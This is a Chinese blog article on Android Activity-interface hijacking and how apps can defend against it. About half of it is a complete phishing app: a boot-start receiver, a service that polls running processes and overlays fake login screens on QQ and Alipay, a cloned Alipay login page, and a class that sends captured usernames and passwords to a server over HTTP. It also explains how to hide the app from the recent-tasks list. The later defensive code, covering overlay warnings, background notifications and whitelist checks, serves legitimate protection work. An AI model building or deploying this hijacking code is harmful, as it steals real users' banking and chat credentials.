Android之Activity界面劫持反劫持

总结

Activity劫持原理

1、注册一个Receiver,响应android.intent.action.BOOT_COMPLETED,使得开机启动一个Service;这个Service,会启动一个计时器,不停循环查询所有当前运行的进程(因为app可以枚举系统当前运行进程而无需声明其他权限)
2、一旦发现当前某一进程的Activity正是我们想要劫持的,并运行在前台,我们立马使用FLAG_ACTIVITY_NEW_TASK启动自己的钓鱼界面并置于栈顶覆盖掉之前的Activity,获得用户敏感信息并发送到服务器。
3、AndroidMainfest.xml配置文件中加入andorid:excludeFromRecent="true"这一项可以防止我们的恶意程序在最近访问列表中出现(这一项实际不影响劫持的发生,只是增加其危险性,防止被发现)

防范手段

当主的activity退到后台后,弹出一下提示信息提示用户,程序已经退到后台即可。

什么是Activity劫持

简单的说就是APP正常的Activity界面被恶意攻击者替换上仿冒的恶意Activity界面进行攻击和非法用途。界面劫持攻击通常难被识别出来,其造成的后果不仅会给用户带来严重损失,更是移动应用开发者们的恶梦。举个例子来说,当用户打开安卓手机上的某一应用,进入到登陆页面,这时,恶意软件侦测到用户的这一动作,立即弹出一个与该应用界面相同的Activity,覆盖掉了合法的Activity,用户几乎无法察觉,该用户接下来输入用户名和密码的操作其实是在恶意软件的Activity上进行的,最终会发生什么就可想而知了。

Activity界面被劫持的原因

如果在启动一个Activity时,给它加入一个标志位FLAG_ACTIVITY_NEW_TASK,就能使它置于栈顶并立马呈现给用户。针对这一操作,假使这个Activity是用于盗号的伪装Activity呢?在Android系统当中,程序可以枚举当前运行的进程而不需要声明其他权限,这样子我们就可以写一个程序,启动一个后台的服务,这个服务不断地扫描当前运行的进程,当发现目标进程启动时,就启动一个伪装的Activity。如果这个Activity是登录界面,那么就可以从中获取用户的账号密码。

常见的攻击手段

  • 监听系统Logocat日志,一旦监听到发生Activity界面切换行为,即进行攻击,覆盖上假冒Activity界面实施欺骗。开发者通常都知道,系统的Logcat日志会由ActivityManagerService打印出包含了界面信息的日志文件,恶意程序就是通过Logocat获取这些信息,从而监控客户端的启动、Activity界面的切换
  • 监听系统API,一旦恶意程序监听到相关界面的API组件调用,即可发起攻击
  • 逆向APK,恶意攻击者通过反编译和逆向分析APK,了解应用的业务逻辑之后针对性的进行Activity界面劫持攻击

Activity调度机制

Activity为了提高用户体验,对于不同的应用程序之间的切换,基本上是无缝。他们切换的只是一个Activity,让切换的到前台显示,另一个应用则被覆盖到后台,不可见。Activity的概念相当于一个与用户交互的界面。而Activity的调度是交由Android系统中的AMS管理的。AmS即ActivityManagerService(Activity管理服务),各个应用想启动或停止一个进程,都是先报告给AMS。当AMS收到要启动或停止Activity的消息时,它先更新内部记录,再通知相应的进程运行或停止指定的Activity。当新的Activity启动,前一个Activity就会停止,这些Activity都保留在系统中的一个Activity历史栈中。每有一个Activity启动,它就压入历史栈顶,并在手机上显示。当用户按下back键时,顶部Activity弹出,恢复前一个Activity,栈顶指向当前的Activity。

Android设计上的缺陷 —— Activity劫持

如果在启动一个Activity时,给它加入一个标志位FLAG_ACTIVITY_NEW_TASK,就能使它置于栈顶并立马呈现给用户。但是这样的设计却有一个缺陷。如果这个Activity是用于盗号的伪装Activity呢?

在Android系统当中,程序可以枚举当前运行的进程而不需要声明其他权限,这样子我们就可以写一个程序,启动一个后台的服务,这个服务不断地扫描当前运行的进程,当发现目标进程启动时,就启动一个伪装的Activity。如果这个Activity是登录界面,那么就可以从中获取用户的账号密码。

一个运行在后台的服务可以做到如下两点:(1)决定哪一个Activity运行在前台,(2)运行自己app的Activity到前台。

这样,恶意的开发者就可以对应程序进行攻击,对于有登陆界面的应用程序,他们可以伪造一个一模一样的界面,普通用户根本无法识别是真的还是假。用户输入用户名和密码之后,恶意程序就可以悄无声息的把用户信息上传到服务器。

示例代码

AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.sinaapp.msdxblog.android.activityhijacking"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk android:minSdkVersion="4" />

    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

    <application
        android:name=".HijackingApplication"
        android:icon="@drawable/icon"
        android:label="@string/app_name" >
        <activity  
            android:name=".activity.HijackingActivity"
            android:theme="@style/transparent"
            android:label="@string/app_name" >
            <intent-filter>  
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity android:name=".activity.sadstories.JokeActivity" />
        <activity android:name=".activity.sadstories.QQStoryActivity" />
        <activity android:name=".activity.sadstories.AlipayStoryActivity" />

        <receiver
            android:name=".receiver.HijackingReceiver"
            android:enabled="true"
            android:exported="true" >
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>
        </receiver>

        <service android:name=".service.HijackingService" >
        </service>
    </application>

</manifest>

在以上的代码中,声明了一个服务Service,用于枚举当前运行的进程。其中如果不想开机启动的话,甚至可以把以上Receiver部分的代码,及声明开机启动的权限的这一行代码<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />去掉,仅仅需要访问网络的权限(向外发送获取到的账号密码),单从AndroidManifest.xml文件是看不出任何异常的

下面是正常的Activity的代码。在这里只是启动用于Activity劫持的服务。如果在上面的代码中已经声明了开机启动,则这一步也可以省略。

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import com.sinaapp.msdxblog.android.activityhijacking.R;
import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;

public class HijackingActivity extends Activity {
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        Intent intent = new Intent(this, HijackingService.class);
        startService(intent);
        Log.w("yezhou", "Activity启动用来劫持的Service");
    }
}

如果想要开机启动,则需要一个Receiver,即广播接收器,在开机时得到开机启动的广播,并在这里启动服务。如果没有开机启动,则这一步可以省略。

import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

public class HijackingReceiver extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {
        if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {
            Log.w("yezhou", "开机启动");
            Intent intent = new Intent(context, HijackingService.class);
            context.startService(intent);
            Log.w("yezhou", "启动用来劫持的Service");
        }
    }
}

下面这个HijackingService类是关键逻辑,即用来进行Activity劫持的。在这里,将运行枚举当前运行的进程,发现目标进程,弹出伪装程序。

import java.util.HashMap;
import java.util.List;

import android.app.ActivityManager;
import android.app.ActivityManager.RunningAppProcessInfo;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.Handler;
import android.os.IBinder;
import android.util.Log;

import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity;

public class HijackingService extends Service {
    private boolean hasStart = false;

    HashMap<String, Class<?>> mSadStories = new HashMap<String, Class<?>>();

    // Timer mTimer = new Timer();
    Handler handler = new Handler();

    Runnable mTask = new Runnable() {

        @Override
        public void run() {
            ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
            List<RunningAppProcessInfo> appProcessInfos = activityManager.getRunningAppProcesses();
            // 枚举进程
            Log.w("yezhou", "正在枚举进程");
            for (RunningAppProcessInfo appProcessInfo : appProcessInfos) {
                // 如果APP在前台
                if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
                    if (mSadStories.containsKey(appProcessInfo.processName)) {
                        // 进行劫持
                        hijacking(appProcessInfo.processName);
                    } else {
                         Log.w("yezhou", appProcessInfo.processName);
                    }
                }
            }
            handler.postDelayed(mTask, 1000);
        }

        /**
         * 进行劫持
         * @param processName
         */
        private void hijacking(String processName) {
            Log.w("yezhou", "劫持开始");
            if (((HijackingApplication) getApplication()).hasProgressBeHijacked(processName) == false) {
                Intent jackingIsComing = new Intent(getBaseContext(), mSadStories.get(processName));
                jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                getApplication().startActivity(jackingIsComing);
                ((HijackingApplication) getApplication()).addProgressHijacked(processName);
                Log.w("yezhou", "已经劫持");
            }
        }
    };

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public void onStart(Intent intent, int startId) {
        super.onStart(intent, startId);
        if (!hasStart) {
            mSadStories.put("com.sinaapp.msdxblog.android.lol", JokeActivity.class);
            mSadStories.put("com.tencent.mobileqq", QQStoryActivity.class);
            mSadStories.put("com.eg.android.AlipayGphone", AlipayStoryActivity.class);
            handler.postDelayed(mTask, 1000);
            hasStart = true;
        }
    }

    @Override
    public boolean stopService(Intent name) {
        hasStart = false;
        Log.w("yezhou", "劫持服务停止");
        ((HijackingApplication) getApplication()).clearProgressHijacked();
        return super.stopService(name);
    }
}

编写HijackingApplication类,这个类的主要功能是,保存已经劫持过的包名,防止我们多次劫持增加暴露风险。代码如下:

public class HijackingApplication {
    private static List<String> hijackings = new ArrayList();

    public static void addProgressHijacked(String paramString) {
       hijackings.add(paramString);
    }

    public static void clearProgressHijacked() {
       hijackings.clear();
    }

    public static boolean hasProgressBeHijacked(String paramString) {
       return hijackings.contains(paramString);
    }
}

下面是支付宝的伪装类

import android.app.Activity;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
import android.text.Html;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import com.sinaapp.msdxblog.android.activityhijacking.R;
import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil;

public class AlipayStoryActivity extends Activity {
    private EditText name;
    private EditText password;
    private Button mBtAlipay;
    private Button mBtTaobao;
    private Button mBtRegister;

    private TextView mTvFindpswd;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        this.setTheme(android.R.style.Theme_NoTitleBar);
        setContentView(R.layout.alipay);
        mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay);
        mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao);
        mBtRegister = (Button) findViewById(R.id.alipay_bt_register);
        mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd);
        mTvFindpswd.setText(Html.fromHtml("[u]找回登录密码[/u]"));
        mBtAlipay.setSelected(true);

        name = (EditText) findViewById(R.id.input_name);
        password = (EditText) findViewById(R.id.input_password);
    }

    public void onButtonClicked(View v) {
        switch (v.getId()) {
        case R.id.alipay_bt_login:
            HandlerThread handlerThread = new HandlerThread("send");
            handlerThread.start();
            new Handler(handlerThread.getLooper()).post(new Runnable() {
                @Override
                public void run() {
                    // 发送获取到的用户密码
                    SendUtil.sendInfo(name.getText().toString(), password.getText().toString(), "支付宝");
                }
            });
            moveTaskToBack(true);
            break;
        case R.id.alipay_bt_alipay:
            chooseToAlipay();
            break;
        case R.id.alipay_bt_taobao:
            chooseToTaobao();
            break;
        default:
            break;
        }
    }

    private void chooseToAlipay() {
        mBtAlipay.setSelected(true);
        mBtTaobao.setSelected(false);
        name.setHint(R.string.alipay_name_alipay_hint);
        mTvFindpswd.setVisibility(View.VISIBLE);
        mBtRegister.setVisibility(View.VISIBLE);
    }

    private void chooseToTaobao() {
        mBtAlipay.setSelected(false);
        mBtTaobao.setSelected(true);
        name.setHint(R.string.alipay_name_taobao_hint);
        mTvFindpswd.setVisibility(View.GONE);
        mBtRegister.setVisibility(View.GONE);
    }
}

布局文件activity_main.xml

<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
>
<LinearLayout
    android:id="@+id/linear"
    android:orientation="vertical"
    android:layout_width="match_parent"
    android:layout_height="wrap_content">
    <LinearLayout
        android:orientation="horizontal"
        android:layout_width="match_parent"
        android:layout_height="wrap_content">
        <TextView
            android:textSize="18sp"
            android:text="账号:"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content" />
        <EditText
            android:visibility="invisible"
            android:id="@+id/user"
            android:hint="账号"
            android:layout_width="match_parent"
            android:layout_height="wrap_content" />
    </LinearLayout>

    <LinearLayout
        android:orientation="horizontal"
        android:layout_width="match_parent"
        android:layout_height="wrap_content">
        <TextView
            android:textSize="18sp"
            android:text="密码:"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content" />
        <EditText
            android:visibility="invisible"
            android:id="@+id/pass"
            android:hint="密码"
            android:layout_width="match_parent"
            android:layout_height="wrap_content" />
    </LinearLayout>
</LinearLayout>
<Button
    android:visibility="invisible"
    android:id="@+id/login"
    android:layout_below="@id/linear"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:text="登录" />
</RelativeLayout>

上面的其他代码主要是为了让界面的点击效果与真的支付宝看起来尽量一样,主要的代码是发送用户密码的那一行

编写SendUtil,它是向我写的服务器端发送一个HTTP请求,将用户密码发送出去。代码如下:

public class SendUtil {

    public static void sendInfo(String paramString1, String paramString2, String paramString3) {
        HttpClient httpClient = new DefaultHttpClient();
        HttpGet httpGet = new HttpGet("http://10.0.0.33:8080/spring/test/receiver.do?a="+paramString1+"&b="+paramString2+"&c="+paramString3);

        try {
            HttpResponse httpResponse = httpClient.execute(httpGet);
            Log.i("hijacking", httpResponse.getStatusLine().getStatusCode()+"");
        } catch (ClientProtocolException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

说明:这个类需要添加两个jar包,httpclient和httpcore

用户防范

Android手机均有一个HOME键(即小房子的那个图标),长按可以看到近期任务一些手机显示最近的一个是上一个运行的程序。小米显示最近的一个是当前运行的程序。所以,在要输入密码进行登录时,可以通过长按HOME键查看近期任务,判断是否伪装的。但是这种方法也不是绝对的,可以在AndroidManifest.xml中相应Activity下添加android:noHistory="true"这样就不会把伪装界面显示在最近任务中。

反劫持

然而,如果真的爆发了这种恶意程序,我们并不能在启动程序时每一次都那么小心去查看判断当前在运行的是哪一个程序,当android:noHistory="true"时上面的方法也无效。

设计一款反劫持助手,原理很简单,就是获取当前运行的是哪一个程序,并且显示在一个浮动窗口中,以帮忙用户判断当前运行的是哪一个程序,防范一些钓鱼程序的欺骗。

在这一次,由于是“正当防卫”,就不再通过枚举来获取当前运行的程序了,在manifest文件中增加一个权限:

<uses-permission android:name="android.permission.GET_TASKS" />

然后启动程序的时候,启动一个Service,在Service中启动一个浮动窗口,并周期性检测当前运行的是哪一个程序,然后显示在浮动窗口中。

其中Service代码如下:

import android.app.ActivityManager;
import android.app.Notification;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.pm.PackageManager.NameNotFoundException;
import android.os.Bundle;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.util.Log;
import com.sinaapp.msdxblog.androidkit.thread.HandlerFactory;
import com.sinaapp.msdxblog.antihijacking.AntiConstants;
import com.sinaapp.msdxblog.antihijacking.view.AntiView;

public class AntiService extends Service {

    private boolean shouldLoop = false;
    private Handler handler;
    private ActivityManager am;
    private PackageManager pm;
    private Handler mainHandler;
    private AntiView mAntiView;
    private int circle = 2000;

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override  
    public void onStart(Intent intent, int startId) {
        super.onStart(intent, startId);
        startForeground(19901008, new Notification());
        if (intent != null) {
            circle = intent.getIntExtra(AntiConstants.CIRCLE, 2000);
        }
        Log.i("circle", circle + "ms");
        if (true == shouldLoop) {
            return;
        }
        mAntiView = new AntiView(this);
        mainHandler = new Handler() {
            public void handleMessage(Message msg) {
                String name = msg.getData().getString("name");
                mAntiView.setText(name);
            };
        };
        pm = getPackageManager();
        shouldLoop = true;
        am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
        handler = new Handler(HandlerFactory.getHandlerLooperInOtherThread("anti")) {
            @Override
            public void handleMessage(Message msg) {
                super.handleMessage(msg);
                String packageName = am.getRunningTasks(1).get(0).topActivity.getPackageName();
                try {
                    String progressName = pm.getApplicationLabel(pm.getApplicationInfo(packageName, PackageManager.GET_META_DATA)).toString();
                    updateText(progressName);
                } catch (NameNotFoundException e) {
                    e.printStackTrace();
                }

                if (shouldLoop) {
                    handler.sendEmptyMessageDelayed(0, circle);
                }
            }
        };
        handler.sendEmptyMessage(0);
    }

    private void updateText(String name) {
        Message message = new Message();
        Bundle data = new Bundle();
        data.putString("name", name);
        message.setData(data);
        mainHandler.sendMessage(message);
    }

    @Override
    public void onDestroy() {
        shouldLoop = false;
        mAntiView.remove();
        super.onDestroy();
    }
}

防护方案

目前,对Activity劫持的防护,只能是适当给用户警示信息。一些简单的防护手段就是显示当前运行的进程提示框。梆梆加固则是在进程切换的时候给出提示,并使用白名单过滤。

解决办法

这是系统漏洞,在应用程序中很难去防止这种界面支持。但应用程序自身可以增加一些防范实施:

  1. 开启守护进程,当发现应用程序不在栈顶时,在屏幕最上层创建一个悬浮小窗口(提示信息与客户确定),以提醒用户
  2. 使用抢占式,即与劫持程序抢占栈顶
  3. 在应用切到后台时,在通知栏弹出通知提示

以上三种防范措施都是可取的,但是其中第二种,抢占式的抢占栈顶这种做法,频繁出现的话,用户会非常反感,于是,我们最终的方案是结合第一种和第三种方法来处理:App被切到后台后Toast弹框并在通知栏显示一条通知(提醒用户,App被切到后台运行)

具体实施

(1)在Activity的各生命周期中启动或者停止服务(在onResume中开启service,在onPause和onDestory中关闭service)

@Override
protected void onPause() {
    Intent intent = new Intent();
    intent.putExtra("pageName", this.getComponentName()
            .getPackageName());
    intent.putExtra("className", this.getComponentName().getClassName());
    intent.setClass(this, AppStatusService.class);
    startService(intent);
}

public void onResume() {
    Intent intent = new Intent();
    intent.putExtra("pageName", this.getComponentName().getPackageName());
    intent.putExtra("className", this.getComponentName().getClassName());
    intent.setClass(this, AppStatusService.class);
    stopService(intent);
}

@Override
public void onDestroy() {
    Intent intent = new Intent();
    intent.setClass(this, AppStatusService.class);
    stopService(intent);
}

(2)编写具体的Service逻辑

/**
 * 应用是否在前台运行
 * 
 * @return true:在前台运行;false:已经被切到后台
 */
private boolean isAppOnForeground() {
    List<RunningAppProcessInfo> appProcesses = activityManager.getRunningAppProcesses();
    if (appProcesses != null) {
        for (RunningAppProcessInfo appProcess : appProcesses) {
            if (appProcess.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
                if (appProcess.processName.equals(packageName)) {
                    return true;
                }
            }
        }
    }
    return false;
}

/**
 * 定义一个timerTask来发通知和弹出Toast
 */
TimerTask timerTask = new TimerTask() {

    @Override
    public void run() {
        if (!isAppOnForeground()) {

            isAppBackground = true;
            //发通知
            showNotification();
            //弹出Toast提示
            MainActivity.mCurrentActivity.runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    Toast.makeText(getApplicationContext(),
                            getApplicationContext().getString(R.string.pervent_hijack_mes), Toast.LENGTH_SHORT)
                            .show();
                }
            });
            mTimer.cancel();
        }
    }
};

/**
 * 弹出通知提示
 */
private void showNotification() {
    NotificationManager notificationManager = (NotificationManager) getSystemService(
            android.content.Context.NOTIFICATION_SERVICE);
    Notification notification = new Notification(R.drawable.icon, "xx银行", System.currentTimeMillis());
    notification.defaults |= Notification.DEFAULT_VIBRATE; // 设置震动
    notification.defaults |= Notification.DEFAULT_LIGHTS; // 设置LED灯提醒
    notification.flags |= Notification.FLAG_NO_CLEAR; // 通知不可被状态栏的清除按钮清除掉
    notification.flags |= Notification.FLAG_ONGOING_EVENT; // 通知放置在 正在运行

    Intent intent = new Intent();
    intent.setAction(Intent.ACTION_MAIN);
    intent.putExtra("notification", "notification");
    intent.setClassName(packageName, className);

    // 修改vivo手机点击通知栏不返回
    intent.addCategory(Intent.CATEGORY_LAUNCHER);

    // 增加Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED用于正常的从后台再次返回到原来退出时的页面中
    intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED);
    PendingIntent pendingInt = PendingIntent.getActivity(this, 0, intent, PendingIntent.FLAG_UPDATE_CURRENT);

    String temp = "";
    notification.setLatestEventInfo(this, "xx手机银行", "手机银行已经被切到后台运行" + temp, pendingInt);
    // 设置服务的级别,使其不容易被kill掉,解决后台返回前台黑屏的问题
    startForeground(1, notification);
}

(3)在onStart中执行timer

@Override
public void onStart(Intent intent, int startId) {
    try {
        Bundle bundle = null;
        if (intent != null) {
            bundle = intent.getExtras();
        }
        if (bundle != null) {
            className = bundle.getString("className");
        }
        // 通过计时器延迟执行
        mTimer.schedule(timerTask, 50, 50);

    } catch (Exception e) {
        e.printStackTrace();
    }
}

注:根据IMOPORTANCE的不同来判断前台或后台,RunningAppProcessInfo里面的常量IMOPORTANCE就是上面所说的前台后台,其实IMOPORTANCE是表示这个app进程的重要性,因为系统回收时候,会根据IMOPORTANCE来回收进程的。

public static final int IMPORTANCE_BACKGROUND = 400 //后台
public static final int IMPORTANCE_EMPTY = 500 //空进程
public static final int IMPORTANCE_FOREGROUND =100 //在屏幕最前端、可获取到焦点 可理解为Activity生命周期的OnResume();
public static final int IMPORTANCE_SERVICE = 300 //在服务中
public static final int IMPORTANCE_VISIBLE = 200 //在屏幕前端、获取不到焦点可理解为Activity生命周期的OnStart();

防护手段

目前,还没有什么专门针对Activity劫持的防护方法,因为,这种攻击是用户层面上的,目前还无法从代码层面上根除。但是,我们可以适当地在APP中给用户一些警示信息,提示用户其登陆界面以被覆盖,并给出覆盖正常Activity的类名,示例如下:

首先,在前正常的登录Activity界面中重写onKeyDown方法和onPause方法,这样一来,当其被覆盖时,就能够弹出警示信息,代码如下:

@Override
public boolean onKeyDown(int keyCode, KeyEvent event) {
    //判断程序进入后台是否是用户自身造成的(触摸返回键或HOME键),是则无需弹出警示。
    if((keyCode==KeyEvent.KEYCODE_BACK || keyCode==KeyEvent.KEYCODE_HOME) && event.getRepeatCount()==0) {
        needAlarm = false;
    }
    return super.onKeyDown(keyCode, event);
}

@Override
protected void onPause() {
    //若程序进入后台不是用户自身造成的,则需要弹出警示
    if(needAlarm) {
        //弹出警示信息
        Toast.makeText(getApplicationContext(), "您的登陆界面被覆盖,请确认登陆环境是否安全", Toast.LENGTH_SHORT).show();
        //启动我们的AlarmService,用于给出覆盖了正常Activity的类名
        Intent intent = new Intent(this, AlarmService.class);
        startService(intent);
    }
    super.onPause();
}

然后实现AlarmService.java,并在在AndroidManifest.xml中注册

import android.app.ActivityManager;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.Handler;
import android.os.IBinder;
import android.widget.Toast;

public class AlarmService extends Service {

    boolean isStart = false;
    Handler handler = new Handler();

    Runnable alarmRunnable = new Runnable() {
        @Override
        public void run() {
            //得到ActivityManager
            ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
            //getRunningTasks会返回一个List,List的大小等于传入的参数。
            //get(0)可获得List中的第一个元素,即栈顶的task
            ActivityManager.RunningTaskInfo info = activityManager.getRunningTasks(1).get(0);
            //得到当前栈顶的类名,按照需求,也可以得到完整的类名和包名
            String shortClassName = info.topActivity.getShortClassName(); //类名
            //完整类名
            //String className = info.topActivity.getClassName();
            //包名
            //String packageName = info.topActivity.getPackageName();
            Toast.makeText(getApplicationContext(), "当前运行的程序为" + shortClassName, Toast.LENGTH_LONG).show();
        }
    };

    @Override
    public int onStartCommand(Intent intent, int flag, int startId) {
        super.onStartCommand(intent, flag, startId);
        if(!isStart) {
            isStart = true;
            //启动alarmRunnable
            handler.postDelayed(alarmRunnable, 1000);
            stopSelf();
        }
        return START_STICKY;
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }
}

在用户使用APP的时候,如果被恶意程序劫持跳转到别的界面,这个时候我们就要做出预警提示用户,告诉用户当前界面已经不是我们的APP,有潜在的危险。代码的工作原理很简单就是在我们所写的Activity对象的onStop生命周期判断将要跳转的界面是否是安全的。具体代码如下:

public class AntiHijackingUtil {

    public static final String TAG = "AntiHijackingUtil";
    // 白名单列表
    private static List<String> safePackages;
    static {
        safePackages = new ArrayList<String>();
    }

    public static void configSafePackages(List<String> packages) {
        return;
    }
    private static PackageManager pm;
    private List<ApplicationInfo> mlistAppInfo;

    /**
     * 检测当前Activity是否安全
     */
    public static boolean checkActivity(Context context) {
        boolean safe = false;
        pm = context.getPackageManager();
            // 查询所有已经安装的应用程序
            List<ApplicationInfo> listAppcations = pm.getInstalledApplications(PackageManager.GET_UNINSTALLED_PACKAGES);    
            Collections.sort(listAppcations, new ApplicationInfo.DisplayNameComparator(pm)); // 排序
            List<ApplicationInfo> appInfos = new ArrayList<ApplicationInfo>(); // 保存过滤查到的AppInfo
            //appInfos.clear();
        for (ApplicationInfo app : listAppcations) { // 排序必须有
            if ((app.flags & ApplicationInfo.FLAG_SYSTEM) != 0) {
                //appInfos.add(getAppInfo(app));
                safePackages.add(app.packageName);
            }
        }
        //得到所有的系统程序包名放进白名单里面

        ActivityManager activityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
        String runningActivityPackageName;
        int sdkVersion;

        try {
            sdkVersion = Integer.valueOf(android.os.Build.VERSION.SDK);
        } catch (NumberFormatException e) {
            sdkVersion = 0;
        }

        if (sdkVersion >= 21) { // 获取系统api版本号,如果是5x系统就用这个方法获取当前运行的包名
            runningActivityPackageName= getCurrentPkgName(context);
        } else {
            runningActivityPackageName=activityManager.getRunningTasks(1).get(0).topActivity.getPackageName(); // 如果是4x及以下,用这个方法
        }

        if (runningActivityPackageName != null) { // 有些情况下在5x的手机中可能获取不到当前运行的包名,所以要非空判断
            if (runningActivityPackageName.equals(context.getPackageName())) {
                safe = true;
            }

            // 白名单比对
            for (String safePack : safePackages) {
                if (safePack.equals(runningActivityPackageName)) {
                    safe = true;
                }
            }
        }
        return safe;
    }

    public static String getCurrentPkgName(Context context) { //5x系统以后利用反射获取当前栈顶activity的包名
        ActivityManager.RunningAppProcessInfo currentInfo = null;
        Field field = null;
        int START_TASK_TO_FRONT = 2;
        String pkgName = null;

        try {
            field = ActivityManager.RunningAppProcessInfo.class.getDeclaredField("processState"); //通过反射获取进程状态字段
        } catch (Exception e) {
            e.printStackTrace();
        }
        ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
        List appList = am.getRunningAppProcesses();
        ActivityManager.RunningAppProcessInfo app;

        for (int i=0; i< appList.size(); i++) {
            //ActivityManager.RunningAppProcessInfo app : appList
            app=(RunningAppProcessInfo) appList.get(i);
            if (app.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) { //表示前台运行进程
                Integer state = null;
                try {
                    state = field.getInt(app);//反射调用字段值的方法,获取该进程的状态
                } catch (Exception e) {
                    e.printStackTrace();
                }
                if (state != null && state == START_TASK_TO_FRONT) { //根据这个判断条件从前台中获取当前切换的进程对象
                    currentInfo = app;
                    break;
                }
            }
        }

        if (currentInfo != null) {
            pkgName = currentInfo.processName;
        }
        return pkgName;
    }
}

代码的使用方法也很简单,只需要在Activity的onStop中调用boolean safe = AntiHijackingUtil.checkActivity(this);即可得到跳转的界面是否需要提示。这里要说明一下getCurrentPkgName()在有些5x手机也无法获取当前跳入的界面的包名,有了解的还请提示一下,谢谢。

版权声明:
作者:Joe.Ye
链接:https://www.appblog.cn/index.php/2023/02/25/android-activity-page-hijacking-anti-hijacking/
来源:APP全栈技术分享
文章版权归作者所有,未经允许请勿转载。

THE END
分享
二维码
打赏
海报
Android之Activity界面劫持反劫持
总结 Activity劫持原理 1、注册一个Receiver,响应android.intent.action.BOOT_COMPLETED,使得开机启动一个Service;这个Service,会启动一个计时器,不停循……
<<上一篇
下一篇>>
文章目录
关闭
目 录